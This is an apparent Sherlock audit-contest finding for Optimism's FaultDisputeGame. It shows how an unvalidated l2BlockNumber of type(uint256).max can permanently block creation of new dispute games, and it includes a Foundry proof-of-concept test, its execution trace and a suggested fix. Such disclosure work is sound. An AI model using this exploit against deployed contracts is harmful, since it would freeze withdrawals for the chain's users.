GalloDaSballo - l2BlockNumber()` can be used to prevent creating new Games

[sherlock-admin2]

GalloDaSballo

high

l2BlockNumber()` can be used to prevent creating new Games

Summary

In FaultDisputeGame.initialize, l2BlockNumber is only validated to be a newer value

As discussed in the scope, we are to assume that Games can result in incorrect settlement

Due to that, we can quickly imagine a scenario in which l2BlockNumber, can be used to make this line revert:

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L539-L540

This is possible because if we assume an invalid proof can pass as DEFENDER_WINS, then the incorrect l2BlockNumber will be used as the starting block number for future games.

Vulnerability Detail

By having rootBlockNumber = type(uint256).max it will be impossible to initialize new games

l2BlockNumber can be set to an arbitrarily high value

The factory doesn't sanitize _extraData

The data is arbitrary and interpreted to be the L2BlockNumber by the implementation

That will be passed to AnchorStateRegistry

Impact

That will cause all future Games to be unitializable, meaning that all withdrawals, with the in-scope configuration can never work after the attack

Code Snippet

• Create malicious game with extraData set to type(uint256).max
• Resolve it as it cannot be disputed
• No more games can be deployed

POC - Output

The output shows the second game createion reverting, the line will be in initialize and it will compare the extraData with the rootBlockNumber from the ANCHOR_STATE_REGISTRY

Since type(uint256).max is the highest possible value, the line will cause permanent reverts

[FAIL. Reason: UnexpectedRootClaim(0x000000000000000000000000000000000000000000000000000000bbdef90448)] testSecondFaultIsForeverDossed() (gas: 4717233)
Traces:
  [4717233] FaultDisputesTest::testSecondFaultIsForeverDossed()
    ├─ [923488] → new DisputeGameFactory@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   ├─ emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner: FaultDisputesTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit OwnershipTransferred(previousOwner: FaultDisputesTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], newOwner: FaultDisputesTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit Initialized(version: 1)
    │   └─ ← [Return] 4363 bytes of code
    ├─ [502374] → new AnchorStateRegistry@0x2e234DAe75C793f67A35089C9d99245E1C58470b
    │   └─ ← [Return] 2508 bytes of code
    ├─ [2592644] → new FaultDisputeGame@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
    │   └─ ← [Return] 12942 bytes of code
    ├─ [24378] DisputeGameFactory::setImplementation(1, FaultDisputeGame: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
    │   ├─ emit ImplementationSet(impl: FaultDisputeGame: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], gameType: 1)
    │   └─ ← [Stop] 
    ├─ [69604] AnchorStateRegistry::initialize([StartingAnchorRoot({ gameType: 1, outputRoot: OutputRoot({ root: 0x000000000000000000000000000000000000000000000000000000000001e0f3, l2BlockNumber: 1 }) })])
    │   ├─ emit Initialized(version: 1)
    │   └─ ← [Stop] 
    ├─ [340510] DisputeGameFactory::create(1, 0x000000000000000000000000000000000000000000000000000000000000007b, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
    │   ├─ [30849] → new <unknown>@0x104fBc016F4bb334D775a19E8A6510109AC63E00
    │   │   └─ ← [Return] 154 bytes of code
    │   ├─ [204256] 0x104fBc016F4bb334D775a19E8A6510109AC63E00::initialize()
    │   │   ├─ [204055] FaultDisputeGame::initialize() [delegatecall]
    │   │   │   ├─ [643] AnchorStateRegistry::anchors(1) [staticcall]
    │   │   │   │   └─ ← [Return] 0x000000000000000000000000000000000000000000000000000000000001e0f3, 1
    │   │   │   ├─ [205] FaultDisputesTest::deposit()
    │   │   │   │   └─ ← [Stop] 
    │   │   │   └─ ← [Stop] 
    │   │   └─ ← [Return] 
    │   ├─ emit DisputeGameCreated(disputeProxy: 0x104fBc016F4bb334D775a19E8A6510109AC63E00, gameType: 1, rootClaim: 0x000000000000000000000000000000000000000000000000000000000000007b)
    │   └─ ← [Return] 0x104fBc016F4bb334D775a19E8A6510109AC63E00
    ├─ [517] 0x104fBc016F4bb334D775a19E8A6510109AC63E00::gameDuration() [staticcall]
    │   ├─ [313] FaultDisputeGame::gameDuration() [delegatecall]
    │   │   └─ ← [Return] 604800 [6.048e5]
    │   └─ ← [Return] 604800 [6.048e5]
    ├─ [0] VM::warp(604802 [6.048e5])
    │   └─ ← [Return] 
    ├─ [28496] 0x104fBc016F4bb334D775a19E8A6510109AC63E00::resolveClaim(0)
    │   ├─ [28289] FaultDisputeGame::resolveClaim(0) [delegatecall]
    │   │   ├─ [207] FaultDisputesTest::unlock(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38], 0)
    │   │   │   └─ ← [Stop] 
    │   │   └─ ← [Stop] 
    │   └─ ← [Return] 
    ├─ [14104] 0x104fBc016F4bb334D775a19E8A6510109AC63E00::resolve()
    │   ├─ [13900] FaultDisputeGame::resolve() [delegatecall]
    │   │   ├─ emit Resolved(status: 2)
    │   │   ├─ [10887] AnchorStateRegistry::tryUpdateAnchorState()
    │   │   │   ├─ [1299] 0x104fBc016F4bb334D775a19E8A6510109AC63E00::gameData() [staticcall]
    │   │   │   │   ├─ [1080] FaultDisputeGame::gameData() [delegatecall]
    │   │   │   │   │   └─ ← [Return] 1, 0x00000000000000000000000000000000000000000000000000000000007b0448, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0060
    │   │   │   │   └─ ← [Return] 1, 0x00000000000000000000000000000000000000000000000000000000007b0448, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0060
    │   │   │   ├─ [3337] DisputeGameFactory::games(1, 0x00000000000000000000000000000000000000000000000000000000007b0448, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0060) [staticcall]
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000, 0
    │   │   │   ├─ [477] 0x104fBc016F4bb334D775a19E8A6510109AC63E00::l2BlockNumber() [staticcall]
    │   │   │   │   ├─ [273] FaultDisputeGame::l2BlockNumber() [delegatecall]
    │   │   │   │   │   └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129574496 [1.157e77]
    │   │   │   │   └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129574496 [1.157e77]
    │   │   │   ├─ [641] 0x104fBc016F4bb334D775a19E8A6510109AC63E00::status() [staticcall]
    │   │   │   │   ├─ [437] FaultDisputeGame::status() [delegatecall]
    │   │   │   │   │   └─ ← [Return] 2
    │   │   │   │   └─ ← [Return] 2
    │   │   │   ├─ [552] 0x104fBc016F4bb334D775a19E8A6510109AC63E00::rootClaim() [staticcall]
    │   │   │   │   ├─ [348] FaultDisputeGame::rootClaim() [delegatecall]
    │   │   │   │   │   └─ ← [Return] 0x00000000000000000000000000000000000000000000000000000000007b0448
    │   │   │   │   └─ ← [Return] 0x00000000000000000000000000000000000000000000000000000000007b0448
    │   │   │   ├─ [477] 0x104fBc016F4bb334D775a19E8A6510109AC63E00::l2BlockNumber() [staticcall]
    │   │   │   │   ├─ [273] FaultDisputeGame::l2BlockNumber() [delegatecall]
    │   │   │   │   │   └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129574496 [1.157e77]
    │   │   │   │   └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129574496 [1.157e77]
    │   │   │   └─ ← [Stop] 
    │   │   └─ ← [Return] 2
    │   └─ ← [Return] 2
    ├─ [113402] DisputeGameFactory::create(1, 0x0000000000000000000000000000000000000000000000000000000000bbdef9, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
    │   ├─ [30849] → new <unknown>@0x037eDa3aDB1198021A9b2e88C22B464fD38db3f3
    │   │   └─ ← [Return] 154 bytes of code
    │   ├─ [48100] 0x037eDa3aDB1198021A9b2e88C22B464fD38db3f3::initialize()
    │   │   ├─ [47894] FaultDisputeGame::initialize() [delegatecall]
    │   │   │   ├─ [643] AnchorStateRegistry::anchors(1) [staticcall]
    │   │   │   │   └─ ← [Return] 0x00000000000000000000000000000000000000000000000000000000007b0448, 115792089237316195423570985008687907853269984665640564039457584007913129574496 [1.157e77]
    │   │   │   └─ ← [Revert] UnexpectedRootClaim(0x000000000000000000000000000000000000000000000000000000bbdef90448)
    │   │   └─ ← [Revert] UnexpectedRootClaim(0x000000000000000000000000000000000000000000000000000000bbdef90448)
    │   └─ ← [Revert] UnexpectedRootClaim(0x000000000000000000000000000000000000000000000000000000bbdef90448)
    └─ ← [Revert] UnexpectedRootClaim(0x000000000000000000000000000000000000000000000000000000bbdef90448)

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.92ms (765.35µs CPU time)

Ran 1 test suite in 2.34s (1.92ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/GameResolvesDos.t.sol:FaultDisputesTest
[FAIL. Reason: UnexpectedRootClaim(0x000000000000000000000000000000000000000000000000000000bbdef90448)] testSecondFaultIsForeverDossed() (gas: 4717233)

POC - Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";

import "src/dispute/DisputeGameFactory.sol";
import "src/dispute/FaultDisputeGame.sol";
import "src/dispute/AnchorStateRegistry.sol";
import "src/dispute/lib/LibPosition.sol";

contract FaultDisputesTest is Test {

    // NOTE: We use fallback to skip on setting up WETH, Bonds and VM
    fallback() external payable {

    }

    function testSecondFaultIsForeverDossed() public {
        DisputeGameFactory factory = new DisputeGameFactory();

        AnchorStateRegistry registry = new AnchorStateRegistry(IDisputeGameFactory(factory));

        FaultDisputeGame firstGame = new FaultDisputeGame(
            GameType.wrap(1),
            Claim.wrap(bytes32(0x0)),
            73, // MAX_DEPTH
            30, // 30 SPLIT_DEPTH
            Duration.wrap(604800), // 7 days

            IBigStepper(address(this)),
            IDelayedWETH(address(this)),
            IAnchorStateRegistry(registry),
            123123
        );

        factory.setImplementation(GameType.wrap(1), IDisputeGame(firstGame));

        AnchorStateRegistry.StartingAnchorRoot[] memory initialRoots = new AnchorStateRegistry.StartingAnchorRoot[](1);
        initialRoots[0].gameType = GameType.wrap(1);
        initialRoots[0].outputRoot = OutputRoot({
            root: Hash.wrap(bytes32(uint256(123123))),
            l2BlockNumber: 1
        });

        registry.initialize(
            initialRoots
        );

        // Deploy one Fault Game with valid `ANCHOR_STATE_REGISTRY`
        // And L2 block set to max
        FaultDisputeGame proxy = FaultDisputeGame(payable(address(factory.create(
            GameType.wrap(1),
            Claim.wrap(bytes32(uint256(123))),
            abi.encode(type(uint256).max)
        ))));

        // Settle it
        vm.warp(block.timestamp + proxy.gameDuration().raw() + 1);
        proxy.resolveClaim(0);
        proxy.resolve();

        // NOTE: Since L2Block / ExtraData is never validate, there is no way to dispute the valid proof

        // Deploy second Fault Game -> It reverts on initialize
        FaultDisputeGame secondProxy = FaultDisputeGame(payable(address(factory.create(
            GameType.wrap(1),
            Claim.wrap(bytes32(uint256(12312313))),
            abi.encode(type(uint256).max)
        ))));
    }
}

To allow the code to compile more rapidly I edited the source code in this way:

Changed DisputeGameFactory

    constructor() OwnableUpgradeable() {
        initialize(address(msg.sender)); // NOTE: Changed on purpose
    }

Change AnchorStateRegistry

    constructor(IDisputeGameFactory _disputeGameFactory) {
        DISPUTE_GAME_FACTORY = _disputeGameFactory;

        // Initialize the implementation with an empty array of starting anchor roots.
        // initialize(new StartingAnchorRoot[](0)); // NOTE: So we can initialize
    }

Tool used

Manual Review + Foundry

Recommendation

Since the goal of this contest is to ensure safe fallbacks are in place, it would be best to change newer games to ignore L2Blocks from blacklisted games, meaning instead of using the last l2BlockNumber from any successful game, the last l2BlockNumber from a non blacklisted game should be used

A registry of: l2Blocks <-> Roots that allows the Guardian choosing a valid Root against all accepted roots may be a step in the right direction

Redeploying doesn't seem like a viable strategy as the exploit will be performed every time

Duplicate of #90